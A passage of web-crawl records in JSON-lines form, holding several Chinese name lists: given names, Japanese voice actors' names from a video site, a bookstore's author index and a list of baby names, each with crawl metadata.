枢丽 姝婵 姝辰 姝含 姝洁 姝娜 姝蓉 姝妍 姝瑶 姝怡 姝颖 姝玥 殊娜 淑芳 淑红 淑洪 淑洁 淑娟 淑莉 淑利 淑玲 淑梅 淑旁 淑芹 淑琼 淑荣 淑茹 淑雯 淑霞 淑贤 淑娴 淑湘 淑娅 淑妍 淑艳 淑怡 淑英 淑媛 淑贞 舒妍 黍娟 术敏 树芳 树芬 树峰 树红 树君 树珂 树雷 树丽 树琴 树琼 树文 树英 帅杭 帅杰 帅康 帅岐 拴玉 双妹 双萍 双双 双霞 双妍 双英 双竹 水娟 水琳 水清 顺峰 顺翔 顺绪 顺英 朔泊 硕红 司瀚 思宸 思豪 思静 思林 思菱 思梦 思宁 思诺 思圻 思其 思琪 思诗 思文 思霞 思娴 思雪 思言 思颜 思仪 思谊 思逸 思莹 思影 思瑜 思源 斯然 斯彧 缌悦 四光 四翔 姒怡 松玻 松倡 松辰 松灵 松霞 宋惠 宋贞 颂航 苏萍 夙妍 素彩 素娥 素芳 素红 素洁 素兰 素丽 素梅 素旻 素敏 素萍 素芹 素琴 素琼 素霞 素艳 粟娟 绥红 穗洁 锁琴 太兴 太阳 泰成 泰诚 泰洁 潭滞 桃芳 桃英 题妃 天瑷 天诚 天芳 天惠 天慧 天乐 天荣 天舒 天晓 天雄 天雪 天怡 天逸 天翼 天懿 田亘 田田 田英 恬韵 铁钢 廷华 廷文 庭华 庭蕊 婷安 婷然 婷希 婷轩 婷雁 婷宜 同安 同芳 彤文 彤秀 彤旭 土火 土土 土颖 娃妍 湾财 纨裴 烷妍 宛恩 宛梦 宛融 宛恬 婉婵 婉娟 婉莉 婉萍 婉晴 婉婉 婉瑶 婉玉 婉悦 菀云 琬莹 万娟 万萍 万顺 万涛 万文 万霞 万莹 王琼 旺明 旺融 旺阳 威岐 微娜 薇娜 薇蓉 为红 为琳 为翔 唯玲 维东 维红 维军 维娜 维思 维英 伟航 伟红 伟佳 伟娟 伟丽 伟琳 伟玲 伟民 伟能 伟萍 伟琼 伟全 伟文 伟瑛 伟盈 玮珩 玮珀 玮瑛 卫东 卫琼 卫卓 未梓 蔚林 文斌 文冰 文彩 文丁 文光 文洁 文镜 文莉 文淼 文鸣 文琴 文琼 文茹 文舜 文思 文苏 文钛 文泰 文韬 文婷 文文 文霞 文翔 文选 文琰 文逸 文盈 文勇 文源 文忠 文卓 纹婕 纹文 纹哲 闻婕 雯婕 雯丽 雯倩 雯琴 问巧 汶冰 汶洁 汶憬 汶骏 汶特 汶雅 汶妍 汶燕 汶荧 汶哲 蓊妍 握琴 无敌 五月 午翔 武贵 武涛 夕媛 西美 西媛 希光 希玲 希冉 希霞 希媛 希玥 昔科 析瑶 浠茹 僖林 熙畅 熙辰 熙熙 熙燕 熙瑶 熹媛 曦冉 喜翔 侠连 遐凤 霞飞 霞芬 霞青 霞状 夏雪 夏燕 仙娜 先富 先玲 先念 先玉 鲜花 鲜丽 弦芳 贤芳 贤梅 贤文 现华 现伟 相峰 相虹 相玮 相宜 相莹 相颖 香花 香兰 香美 香娜 香霆 香燕 香瑶 香熠 香英 香玉 湘君 湘茹 湘润 湘文 湘莹 湘颖 湘媛 襄让 祥红 祥虎 祥磊 祥萍 祥庆 祥瑞 祥燕 祥宇 祥玉 翔楠 响琳 响施 想念 向馥 向晖 向娜 向文 向悦 潇丽 霄月 小宝 小翠 小娥 小芬 小含 小洁 小景 小娟 小兰 小磊 小丽 小璐 小苗 小明 小娜 小骗 小平 小琴 小青 小清 小秋 小全 小容 小婷 小卫 小文 小溪 小霞 小丫 小亚 小娅 小燕 小瑶 小怡 小瑛 小莹 小雨 晓波 晓超 晓冬 晓恩 晓芳 晓芬 晓风 晓峰 晓刚 晓光 晓晗 晓杰 晓京 晓娟 晓军 晓君 晓均 晓珺 晓可 晓丽 晓龙 晓梅 晓明 晓宁 晓萍 晓倩 晓琼 晓秋 晓然 晓杉 晓思 晓甜 晓详 晓祥 晓翔 晓昕 晓璇 晓亚 晓娅 晓妍 晓砚 晓怡 晓瑛 晓莹 晓钰 晓哲 筱葆 筱旭 筱艳 筱英 筱瑛 筱颖 孝纯 孝然 孝仁 孝先 孝娅 孝妍 效齐 效伟 笑呈 笑香 笑翔 笑嫣 协洁 谐洁 心洁 心梅 心彭 心冉 心婷 心文 心娴 心雨 忻茹 忻晓 忻芸 芯贝 芯泓 芯婷 芯晓 芯雅 芯娅 辛男 辛文 昕洁 昕岚 昕琳 昕然 昕燃 昕芮 昕晓 昕鑫 昕扬 昕洋 昕瑶 昕颖 昕蕴 昕泽 欣艾 欣炽 欣纯 欣坷 欣潞 欣萍 欣倩 欣泉 欣荣 欣翔 欣晓 欣芯 欣颜 欣燕 欣扬 欣忆 欣奕 欣翼 欣颖 欣遇 欣媛 锌婷 新昂 新波 新鼎 新福 新高 新国 新海 新翰 新红 新惠 新疆 新杰 新翎 新默 新齐 新瑞 新森 新升 新水 新堂 新文 新霞 新翔 新新 新鑫 新懿 新莹 新有 新雨 新悦 新泽 新宗 歆冉 歆茹 歆晓 馨婷 馨晓 鑫鑫 鑫垚 信韩 兴峰 兴红 兴起 兴旺 兴云 星爱 星辰 星宸 星峰 星皓 星红 星辉 星美 星眸 星婷 星彤 星桐 星瞳 星言 星仪 星莹 星妤 星钰 星媛 星运 型畅 型莱 幸泞 幸真 雄文 修杰 秀娥 秀芳 秀芬 秀花 秀莉 秀丽 秀伶 秀萍 秀奇 秀颀 秀琴 秀琼 秀彤 秀文 秀香 秀翔 秀云 秀贞 秀珍 岫妍 袖颀 袖琪 许娜 栩燕 旭芳 绪梅 绪明 绪中 轩睿 轩亚 轩宇 宣蓉 宣爽 宣仪 璇晓 泫洁 炫颖 薛丽 薛勤 学芳 学红 学良 学亮 学梅 学群 学生 学贤 学翔 学玉 学智 雪娥 雪芳 雪红 雪花 雪洁 雪娟 雪珂 雪可 雪莉 雪萌 雪梦 雪芹 雪勤 雪沁 雪婷 雪霞 雪妍 雪艳 雪怡 雪瑛 雪颖 雪妤 雪欤 雪愉 雪宇 雪雨 雪语 雪玉 雪育 雪昱 雪钰 雪欲 雪裕 雪煜 雪誉 雪桢 训正 雅芳 雅婕 雅莉 雅琳 雅玲 雅倩 雅如 雅翔 雅芯 亚飞 亚芬 亚红 亚杰 亚娟 亚军 亚坤 亚琨 亚玲 亚萍 亚茹 亚维 亚伟 亚翔 亚旭 亚轩 亚萱 亚玥 娅斌 娅濒 娅纯 娅嫡 娅东 娅莲 娅琳 娅玟 娅妮 娅芹 娅琴 娅琼 娅婷 娅彤 娅娴 娅娅 娅颍 娅颖 胭茹 嫣妮 嫣冉 嫣爽 嫣晓 延红 延虎 延娟 延玲 延文 延英 延增 闫英 严英 妍狄 妍慧 妍姬 妍杰 妍丽 妍霖 妍漫 妍霓 妍诺 妍柔 妍如 妍爽 妍桐 妍夕 妍西 妍昔 妍奚 妍溪 妍熙 妍熹 妍霄 妍晓 妍昕 妍璇 妍雪 妍叶 妍颖 妍影 妍帜 妍子 岩英 炎萍 炎英 研研 颜英 琰婷 演滞 彦辰 彦宏 彦鸿 彦佳 彦洁 彦玲 彦龙 彦梅 彦萍 彦秋 彦萱 彦雪 彦瑶 彦英 彦莹 晏任 艳阁 艳红 艳华 艳洁 艳婧 艳娟 艳丽 艳娜 艳雪 艳昀 焱文 雁姝 滟娥 滟稼 燕宾 燕彬 燕斌 燕波 燕春 燕丹 燕芳 燕飞 燕菲 燕红 燕虎 燕化 燕欢 燕洁 燕娟 燕琳 燕楠 燕鹏 燕茜 燕勤 燕清 燕琼 燕群 燕然 燕榕 燕山 燕霞 燕霄 燕萱 燕燕 燕英 燕瑜 燕玥 燕云 燕珍 燕子 扬磊 阳晨 阳丽 阳霞 杨萍 洋宏 洋正 仰姣 仰芷 养民 养贤 瑶翠 瑶盖 瑶函 瑶嘉 瑶蕾 瑶廷 要翔 耀光 耀红 耀环 耀立 耀文 业长 叶花 叶蓉 烨洁 烨蓉 一忱 一丹 一凤 一功 一辉 一兰 一糯 一萍 一青 一清 一睿 一雯 一翔 一昭 一之 伊辰 伊城 伊凡 伊婧 伊莲 伊琳 伊妞 伊婷 伊璇 伊哲 依珏 依琳 依霖 依萍 依倩 依青 依柔 依蕊 依桐 依遐 依欣 依学 依妍 依颖 漪然 沂娜 沂莹 沂悦 宜珊 宜书 怡安 怡蓓 怡婵 怡琛 怡宸 怡成 怡帆 怡菲 怡霏 怡福 怡含 怡晗 怡欢 怡慧 怡洁 怡锦 怡瑾 怡靓 怡静 怡坤 怡丽 怡霖 怡凌 怡龙 怡露 怡清 怡秋 怡蓉 怡锐 怡廷 怡薇 怡晓 怡欣 怡兴 怡漩 怡瑶 怡怡 怡怿 怡逸 怡茵 怡莹 怡源 怡贞 怡芝 眙晓 颐洁 乙嫣 旖蕊 旖珊 义芳 义霞 忆如 艺弘 艺娟 艺琳 艺琼 艺冉 艺婷 亦斌 亦忱 亦丹 亦佳 亦琳 亦雄 亦竹 易非 易科 绎莹 奕浩 奕江 奕萌 奕祺 奕彤 奕文 奕莹 弈瑶 羿乐 轶琳 益娟 益兰 益萍 谊宗 翊凡 翊冉 翊婷 翊暄 翊悦 逸函 逸佳 逸嘉 逸群 逸霆 意洁 意生 毅文 翼翔 懿洁 懿莉 懿妍 茵熹 茵晓 音凡 殷怡 吟霜 寅烤 银凤 银霞 银燕 尹茹 引娥 胤岑 胤莹 胤颖 应辰 应成 应函 应群 应荣 英娇 英梅 英娜 英文 英旭 英妍 瑛楠 瑛瑶 瑛瑜 瑛州 鹦丹 盈赋 盈利 盈盈 莹轩 莹妍 莹盈 莹莹 颍婷 颖聪 颖洁 颖丽 颖琳 颖萍 颖秀 影霞 映梅 映莹 雍燔 雍璠 雍华 永池 永燔 永恒 永蕾 永民 永日 永顺 永翔 永直 咏恩 咏凡 咏芳 咏玲 咏茹 咏婷 咏文 咏樨 咏怡 泳翔 泳糈 泳妍 勇斌 勇燔 勇锋 勇华 优邯 优焓 优寒 优韩 优罕 优翰 友爱 友凤 友玲 友燕 有洪 有梅 有琼 有双 有文 有贤 有燕 又亲 佑希 佑宇 予乐 予婷 妤乐 妤琳 盂霞 俞畅 俞莱 榆妍 瑜涵 瑜璐 瑜彤 瑜熙 虞婵 虞峻 与萍 宇冰 宇倡 宇冲 宇冬 宇钢 宇海 宇函 宇河 宇红 宇峻 宇坤 宇宁 宇石 宇阳 宇圳 屿峻 羽凡 羽丽 羽蒙 羽欣 羽燕 雨春 雨纯 雨刚 雨洪 雨娇 雨婧 雨娟 雨涓 雨兰 雨琳 雨流 雨萌 雨芹 雨晴 雨泉 雨石 雨翔 雨心 雨忻 雨芯 雨新 雨旋 雨漩 雨妍 雨研 雨燕 雨瑶 雨莹 雨壮 禹婵 禹宣 语凝 语晴 玉婵 玉嫦 玉芳 玉芬 玉光 玉花 玉洁 玉静 玉昆 玉兰 玉良 玉林 玉梅 玉美 玉妹 玉娜 玉娉 玉萍 玉琦 玉琪 玉亲 玉芹 玉琴 玉青 玉清 玉蓉 玉贤 玉晓 玉雪 玉燕 育红 育霖 育娴 育妍 育瑶 昱程 昱锋 昱翰 昱浩 昱辉 昱苹 昱萍 昱蓉 昱松 昱婷 昱娴 昱瑶 昱音 昱莹 昱颖 钰城 钰春 钰萍 钰桐 钰煊 钰瑶 裕盛 愈妍 煜妍 毓森 元灿 元辰 元芳 元峰 元惠 元炬 元炜 元怡 元哲 沅佰 沅珈 沅明 沅谦 爰羲 爰葸 爰咋 原青 原钰 袁韦 缘慈 缘萱 源潮 源恒 源翔 辕峰 远莹 远颖 院鹏 媛杰 媛婧 媛淇 媛琪 媛茜 媛婷 媛妍 媛姿 愿鹏 月辰 月德 月芳 月芬 月光 月寒 月洪 月辉 月杰 月娟 月奎 月兰 月磊 月良 月明 月娜 月琼 月茹 月贤 月瑶 月英 岳琼 岳珊 岳岩 玥春 玥虹 玥琳 玥玲 玥人 玥姝 玥瑭 玥铉 钥洁 钥莹 悦儿 悦寒 悦恒 悦鸿 悦佳 悦洁 悦玲 悦鸣 悦凝 悦彭 悦鹏 悦然 悦冉 悦说 悦佟 悦潼 悦文 悦言 悦扬 悦英 悦悦 悦跃 跃峰 跃杰 云波 云超 云成 云芳 云翡 云华 云凯 云麟 云龙 云妹 云萍 云天 云艳 云扬 云英 云昭 匀蓉 芸芳 芸熹 芸霞 芸忻 芸妍 芸英 芸昭 昀峰 昀季 昀洁 昀珂 昀倩 昀珊 昀霞 昀燕 昀怡 昀原 允乐 允荇 陨峰 陨翔 运超 运芳 运昊 运辉 运杰 运良 运霞 运雪 运中 郓晓 郓怡 酝菲 韵飞 韵诗 韵熹 韵雅 韵怡 韵昭 韵之 蕴琦 则楷 则瑶 则莹 则颖 泽超 泽恺 泽楷 泽焜 泽旺 泽文 泽西 泽贤 泽娴 泽晓 泽旋 泽玉 泽玥 泽壮 赜婧 增伦 增艳 增友 占武 占翔 战民 章奎 章葵 章权 璋颖 昭娥 昭芳 昭锋 昭凤 昭恒 昭画 昭晖 昭惠 昭慧 昭夏 昭贤 昭一 昭仪 昭怡 昭亦 昭翼 昭钰 昭芸 召梅 兆锋 兆茹 兆霞 芳梅 哲辰 哲鹏 哲琴 哲婷 哲旺 哲文 贞澄 贞娴 贞颖 真洁 圳棋 振凤 振昊 振军 振洲 争睿 争艳 正芬 正红 正火 正旗 正文 正翔 郑康 政董 政霖 政龙 政毅 政媛 之初 之林 之卫 支炎 卮睿 汁归 汁旧 汁由 汁中 芝刚 芝洁 芝林 芝蓉 芝英 枝林 枝炎 枝焱 知道 知杰 知骏 知睿 知文 知彧 知远 芷婵 芷熹 芷娴 芷仪 芷莹 祉婵 祉璠 志芳 志光 志国 志豪 志红 志会 志坚 志江 志坤 志玲 志民 志楠 志平 志萍 志琦 志琴 志琼 志雪 志艳 志玉 治宽 治利 治林 治萤 治颖 治禹 质恒 挚翔 智婵 智芳 智怀 智琳 智婷 智文 中娥 中瀚 中建 中涛 中文 忠娥 忠良 忠路 忠文 忠英 忠勇 钟莹 仲华 仲谋 周芳 周玲 周益 朱梅 朱妹 株梅 诸梅 竹雪 竹艳 竹芸 竺原 助梅 杼遥 柱修 祝梅 壮壮 幢妍 卓佳 卓静 卓林 卓玲 卓龙 卓淇 卓群 卓姗 卓文 卓秀 卓勋 卓彦 卓莹 仔睿 姿婵 子灿 子寒 子琳 子朋 子萍 子石 子帅 子文 子雪 子燕 子意 子钰 耔航 耔墨 耔瑶 梓枫 梓孟 梓民 梓宁 梓琼 梓然 梓轩 梓瑶 紫晨 紫航 紫墨 紫鹏 紫然 紫熹 紫翔 紫茵 紫莹 紫玉 紫媛 紫竹 自林 自琴 自霞 自新 自媛 宗根 宗基 宗禄 宗仁 宗伟 宗兴 宗艳 宗英 祖梅 祖民 祖明 祖翔 佐父 佐文 祚文 保卫 贝洁 贝艳 蓓琼 奔润 本红 本文 毕丽 碧梅 碧玉 碧悦 璧月 斌宇 滨蓉 冰灿 冰禅 冰涵 冰淼 冰茜 冰倩 冰秋 冰汝 冰雯 冰霞 冰雪 冰溢 冰莹 冰竺 兵兵 秉兼 秉君 秉均 秉郡 秉文 炳郡 炳荣 波贵 波景 波钦 波蓉 伯燕 泊蘅 勃翰 勃翔 勃源 博豪 博琳 博韬 博新 博妍 博颖 偲妍 偲瑶 偲颖 才茹 才文 彩娥 彩芳 彩花 彩莉 彩丽 彩媚 彩茹 彩婷 彩霞 彩艳 彩燕 彩英 灿融 仓娟 涔伶 婵华 婵胭 昌坚 长东 长冬 长风 长军 长乐 长莉 长丽 长美 长琴 长文 长英 常存 常芬 常坤 常林 嫦丽 昶安 钞海 超萌 超怡 眧颖 琛琛 琛璐 辰华 辰维 陈燕 陈颖 宸翔 宸轩 宸玉 宸媛 晨芳 晨君 晨玲 晨翔 晨艳 晨颖 晨宇 晨羽 成璧 成滨 成功 成军 成倩 成燕 成瑶 成玉 成悦 成志 承立 承倩 承英 城乐 澄澈 橙悦 虫亮 崇亮 崇玲 崇杉 崇懿 储剑 储赏 楚楚 楚棼 楚凤 楚菊 楚君 楚灵 楚苹 楚萍 楚桃 楚婷 楚莹 传英 传宇 春娥 春菲 春芬 春光 春红 春花 春华 春娟 春开 春镭 春玲 春美 春妹 春娜 春强 春荣 春婷 春晰 春艳 春雨 椿婷 纯花 纯洁 纯婧 纯雪 纯玉 绰琳 慈梅 慈文 聪聪 聪洁 聪娟 聪妍 聪燕 聪瑶 聪宇 丛雯 丛燕 璀蝉 翠娥 翠芳 翠红 翠华 翠娟 翠芹 翠婷 翠英 翠莹 翠玉 翠媛 存丽 存燕 大力 大鹏 大萍 大莹 大勇 玳玉 黛梦 黛影 黛玉 黛媛 丹丹 丹缅 丹娜 丹萍 丹琼 丹艳 丹燕 丹依 丹媛 紞悦 得昌 得芳 得卉 得会 得绘 锝挥 锝卉 锝会 锝惠 德昌 德浩 德会 德惠 德江 德湫 德俊 德淼 德萍 德琦 德秋 德楸 德求 德酋 德球 德文 德祥 德馨 德艳 德岳 德越 迪飞 迪千 点玲 殿红 丁霖 丁冉 丁蓉 丁萱 鼎文 东芳 东风 东锋 东俊 东亮 东林 东琳 东玲 东霞 东燕 东扬 东阳 东洋 东颖 东宇 冬娥 冬芳 冬琳 冬娜 冬燕 冬阳 冬洋 冬悠 冬子 岽梅 多琳 多艳 铎海 朵妍 娥湖 恩德 恩光 恩洁 恩利 恩琴 恩婷 恩嫣 恩妍 恩阳 恩玉 恩媛 恩泽 尔伟 二莹 发祥 发云 法彬 法营 凡蝶 凡凯 凡毅 樊辉 梵好 方彬 方刚 方国 方钧 方琳 方萍 方毅 芳尔 芳琳 芳清 芳琼 芳艳 芳燕 芳媛 芳玥 飞琳 飞平 飞茹 飞雪 飞扬 飞仰 飞颖 菲娟 霏茹 斐斐 斐然 斐燕 芬芬 芬皎 芬磊 芬莲 芬雅 芬莹 芬珠 奋豪 丰宝 丰岚 丰萍 丰文 丰莹 风兰 风娜 风霞 风艳 峰梅 峰英 峰玉 烽丽 锋程 逢玉 逢悦 凤娥 凤华 凤洁 凤岚 凤翎 凤琪 凤泉 凤文 凤喜 凤艳 凤英 凤玉 奉郦 伏玲 伏英 扶瑶","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/www.howing.cn\/id\/599946\/","date":"2022-11-28T03:47:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710473.38\/warc\/CC-MAIN-20221128034307-20221128064307-00693.warc.gz","language":"lzh","language_score":0.5359748602,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5359748601913452, \"cmn_Hani_score\": 0.33982881903648376, \"nan_Hani_score\": 0.09372264891862869, \"jpn_Jpan_score\": 0.010600510984659195, \"wuu_Hani_score\": 0.010165267623960972}","num_words":3868,"character_repetition_ratio":0.001,"word_repetition_ratio":0.0,"special_characters_ratio":0.333,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.546,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"花江夏树 鬼头明里 下野纮 松冈祯丞 日野聪 平川大辅 石田彰 樱井孝宏 小西克幸 早见沙织 铃村健一 关智一 杉田智和 森川智之 佐藤利奈 三木真一郎 桑岛法子 本渡枫 大地叶 小原好美 古贺葵 小山力也 丰口惠美 榎木淳弥 伊濑茉莉也 笠间淳 千本木彩花 江口拓也 山村响 广濑裕也 高桥伸也 秋保佐永子 仲村宗悟 中惠光城\n花江夏树 鬼头明里 下野纮 松冈祯丞 冈本信彦 上田丽奈 大塚芳忠 浪川大辅 樱井孝宏 早见沙织 日野聪 小西克幸 花泽香菜 河西健吾 杉田智和 铃村健一 关智一 森川智之 悠木碧 井泽诗织 小泽亚李 花守由美里 关俊彦 绿川光 子安武人 丰崎爱生 木村良平 福山润 小松未可子 坂本真绫 山下大辉 诹访部顺一 平川大辅 楠大典 保志总一朗 植田佳奈 内山昂辉 大桥贤一郎 稻田彻 小清水亚美 森久保祥太郎 白石凉子 伊藤加奈惠 桑谷夏子 立花慎之介 三木真一郎 桑岛法子 佐藤聪美 大地叶 本渡枫 小原好美\n铃木达央 长岛雄一 中田让治 内山夕实 金子隼人 稻田彻 榎木淳弥 浪川大辅 加濑康之 莲池龙三 下妻由幸 莲岳大 山本兼平 阿座上洋平 野上尤加奈 小市真琴 德本英一郎 石井康嗣 浦山迅 水中雅章 千叶繁 广濑裕也 黑泽朋世 松田健一郎 高桥良辅 铃木美园 平川大辅 龟冈洋孝 石田彰 白熊宽嗣 前川凉子 绪方惠美 加藤将之 柴田秀胜 金尾哲夫 竹内荣治 柳泽荣治 马修·马萨尔巴罗 藤原启治 桑谷夏子 保志总一朗 小野大辅 樱井孝宏 泽城千春 高桥伸也 村濑克辉 平田真菜 桧山修之 游佐浩二 小西克幸 星\n本站只提供WEB页面服务,本站不存储、不制作任何视频,不承担任何由于内容的合法性及健康性所引起的争议和法律责任。\n若本站内容侵犯您的权益,请附说明联系,本站将第一时间处理。\n大宝影院 gzevergrandefc.com 联系邮箱:email@example.com","id":"","dump":"CC-MAIN-2023-50","url":"http:\/\/gzevergrandefc.com\/vodsearch\/-%E5%B9%B3%E5%B7%9D%E5%A4%A7%E8%BE%85------------\/","date":"2023-12-01T00:43:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100258.29\/warc\/CC-MAIN-20231130225634-20231201015634-00496.warc.gz","language":"lzh","language_score":0.4003761411,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4003761410713196, \"cmn_Hani_score\": 0.33397382497787476, \"jpn_Jpan_score\": 0.18300741910934448, \"yue_Hani_score\": 0.032049573957920074, \"wuu_Hani_score\": 0.031411174684762955, \"nan_Hani_score\": 0.019140426069498062}","num_words":141,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"您的購物車沒有添加商品!\n作者列表: ( 0 - 9 ? A B C D E F G H I J K L M N O P R S T U V W Y 《 う ヒ モ 丁 三 上 下 丕 世 中 丹 久 乜 九 乾 二 于 云 五 井 亘 亞 京 人 仁 仉 今 付 仙 以 仲 任 伊 伯 佐 何 余 佚 佛 佩 依 侯 保 俞 信 修 俵 倪 倫 傅 傑 儒 儘 優 克 兔 入 內 八 六 内 冬 冰 凌 凱 凹 出 刀 切 刑 列 利 劉 加 勇 勒 勞 包 北 區 十 千 卓 南 卡 卿 原 及 友 古 叮 史 右 司 吉 向 吳 呂 周 和 咕 咸 哈 哲 唐 喜 喬 喵 嘉 嚴 國 園 圓 圖 土 坂 坎 坦 垂 垣 埃 城 培 基 堀 堤 塔 塗 塚 塞 塩 增 墨 夏 多 夢 大 天 太 奇 奈 契 奚 奧 好 如 妙 妮 姆 姚 姜 姬 威 娜 婕 孔 孟 季 孫 宇 安 宋 宗 宣 宥 宮 容 寇 富 寮 寶 寺 封 尉 小 尚 尤 尹 尼 尾 居 屠 山 岑 岡 岩 岳 岸 島 崔 嶋 川 工 左 巫 巴 市 布 希 帕 帝 席 常 平 幸 幼 幾 広 庄 庫 康 廖 廣 延 弗 張 強 彌 彎 彩 彭 彼 征 徐 得 德 心 志 思 悅 惟 惠 愛 慈 慕 慶 成 戴 戶 手 托 抹 拉 拜 接 提 摩 改 敏 文 斎 斐 斯 新 方 於 施 日 昂 昆 明 易 星 春 景 晴 智 曲 曹 曺 曼 曾 月 有 木 末 本 札 朱 朴 朵 杉 李 村 杜 東 杵 松 板 林 柏 查 柯 柳 柴 柿 根 格 桃 桑 梁 梅 棉 棗 森 植 楊 楠 樂 樋 樓 橫 櫻 權 歌 歐 正 武 歷 段 殷 殿 比 毛 民 水 永 江 池 汪 沃 沈 沙 沱 河 油 法 波 泰 洋 洛 洪 派 浜 海 涅 深 淺 清 渕 渡 游 湯 溫 滿 漢 潔 潘 澀 澤 濟 濱 瀧 瀨 烏 熊 熱 片 牟 特 犬 狄 玉 王 珊 珍 班 珮 理 琦 琪 琳 琴 琵 瑞 瑟 瑪 璧 璲 瓊 瓦 甘 生 田 申 畢 白 皮 益 盛 盧 相 真 矢 石 碧 礒 社 祖 神 福 秋 科 秦 程 稻 稽 穂 穆 穗 窗 立 章 童 竹 笠 筒 管 築 篠 簡 米 粘 粟 糖 紀 約 索 細 結 綠 維 綿 編 緹 縣 羅 美 羽 翁 老 考 聖 聶 肖 肯 育 胡 脇 腸 臺 舟 艸 艾 芙 芝 芥 芬 芭 花 苅 苗 若 英 茂 范 茉 茱 草 荒 荷 荻 莉 莊 莎 莫 菅 菈 菊 菜 華 菲 萊 萩 落 葉 葛 董 蒂 蒙 蒲 蓋 蓓 蓮 蔡 蔣 蔻 蕭 蕾 薇 薛 薩 薰 藍 藏 藤 蘇 蘿 蜜 蠟 衛 袁 袋 裘 褚 西 親 角 許 詩 詹 說 諾 謝 譚 谷 豐 貓 貝 貞 費 賀 賈 賓 賴 賽 赤 赫 越 趙 路 車 辛 辰 迎 近 迪 連 道 達 遠 邁 邊 邢 那 邦 邱 郝 郭 都 鄒 鄔 鄧 鄭 酈 酒 釋 里 重 野 金 鈴 銀 錢 鍾 鎌 鎮 鐵 長 間 閔 関 閣 閻 關 阿 陳 陶 陸 隆 雀 雅 雍 雪 雷 電 霍 露 青 靜 鞏 鞠 韋 韓 須 顏 風 飛 飯 香 馬 馮 駱 高 鬼 魏 魯 鮑 鵝 鶴 麗 麥 麻 黃 黎 黑 默 黛 齊 齋 龐 龔 龜","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/booksland.hk\/index.php?route=product\/author","date":"2021-01-27T22:23:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610704833804.93\/warc\/CC-MAIN-20210127214413-20210128004413-00005.warc.gz","language":"lzh","language_score":0.7222975492,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7222975492477417, \"cmn_Hani_score\": 0.2697516679763794}","num_words":667,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.501,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":0.82,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2017宝宝好听的名字大全:名字大全好听的男孩女孩都要?\n名字大全好听的男孩女孩都要?\n女孩好听姓名大全:冰之 妙梦 以冬 碧春 曼青 冷菱 雪曼 安白 香桃 安春 千亦 凌蝶 又夏 南烟 靖易 沛凝 翠梅 书文 雪卉 乐儿 傲丝 安青 初蝶 寄灵 惜寒 雨竹 冬莲 绮南 翠柏 平凡 亦玉 孤兰 秋珊 新筠 半芹 夏瑶 念文 晓丝 涵蕾 雁凡 谷兰 灵凡 凝云 曼云 丹彤 南霜 夜梦 从筠 雁芙 语蝶 依波 晓旋 念之 盼芙 曼安 采珊 盼夏 初柳 迎天 曼安 南珍 妙芙 语柳 含莲 晓筠 夏山 尔容 采春 念梦 傲南 问薇 雨灵 凝安 冰海 初珍 宛菡 冬卉 盼晴 冷荷 寄翠 幻梅 如凡 语梦 易梦 千柔 向露 梦玉 傲霜 依霜 灵松 诗桃 书蝶 恨真 冰蝶 山槐 以晴 友易 梦桃 香菱 孤云 水蓉 雅容 飞烟 雁荷 代芙 醉易 夏烟 山梅 若南 恨桃 依秋 依波 香巧 紫萱 涵易 忆之 幻巧 水风 安寒 白亦 惜玉 碧春 怜雪 听南 念蕾 梦竹 千凡 寄琴 采波 元冬 思菱 平卉 笑柳 雪卉 南蓉 谷梦 巧兰 绿蝶 飞荷 平安 孤晴 芷荷 曼冬 寻巧 寄波 尔槐 以旋 绿蕊 初夏 依丝 怜南 千山 雨安 水风 寄柔 念巧 幼枫 凡桃 新儿 春翠 夏波 雨琴 静槐 元槐 映阳 飞薇 小凝 映寒 傲菡 谷蕊 笑槐 飞兰 笑卉 迎荷 元冬 书竹 半烟 绮波 小之 觅露 夜雪 春柔 寒梦 沛凝 白容 乐蓉 若云 元容 怀蕾 灵寒 天薇 白风 访波 亦凝 易绿 夜南 曼凡 亦巧 青易 冰真 白萱 友安 诗翠 雪珍 海之 易蓉 雪晴 曼卉 靖蕊 觅枫 醉薇 曼巧 芷卉 春香 冷天 幼儿 曼梦 初柏 怜真 觅曼 笑丝 友露 山天 绿云 觅雪 语桃 思烟 冰琴 夜蓝 痴梦 依丹 小柳 香冬 绿萍 向菱 映寒 香阳 含冬 曼霜 春白 南霜 醉丝 之南 新真 雨露 天烟 冰云 寄芙 如筠 醉容 若香 涵荷 天风 亦儿 采雪 谷香 依巧 若丝 凌山 冬烟 安蕾 从霜 山寒 芷芹 绮芙 雅风 涵柔 飞南 又冬 寒丝 忆灵 晓卉 安夏 含真 乐岚 梦筠 含蓉 笑萱 如珍 天彤 向丝 依灵 妙蕊 元荷 新曼 凌云 碧露 翠夏 半容 春南 千凡 又蕊 安荷 初兰 安阳 代晴 晓彤 醉珊 从易 平彤 平卉 含真 之彤 怀青 友柳 幻雪 初柔 慕春 飞玉 秋晴 映儿 之风 语云 觅易 南曼 忆柔 安瑶 痴蕊 恨易 映云 曼丝 平真 幼凡 寒风 灵玉 傲文 思双 冷青 秋竹 碧霜 春云 沛芹 语巧 绿岚 念凝 书雪 醉双 山阳 念柳 平筠 醉南 慕桃 诗珊 春冬 又绿 冰绿 半梅 笑容 沛凝 念瑶 天真 含巧 如冬 向真 从蓉 春柔 亦云 向雁 尔蝶 冬易 丹亦 夏山 醉香 盼夏 孤菱 安莲 问凝 冬萱 晓山 雁蓉 梦蕊 山菡 南莲 飞双 凝丝 思萱 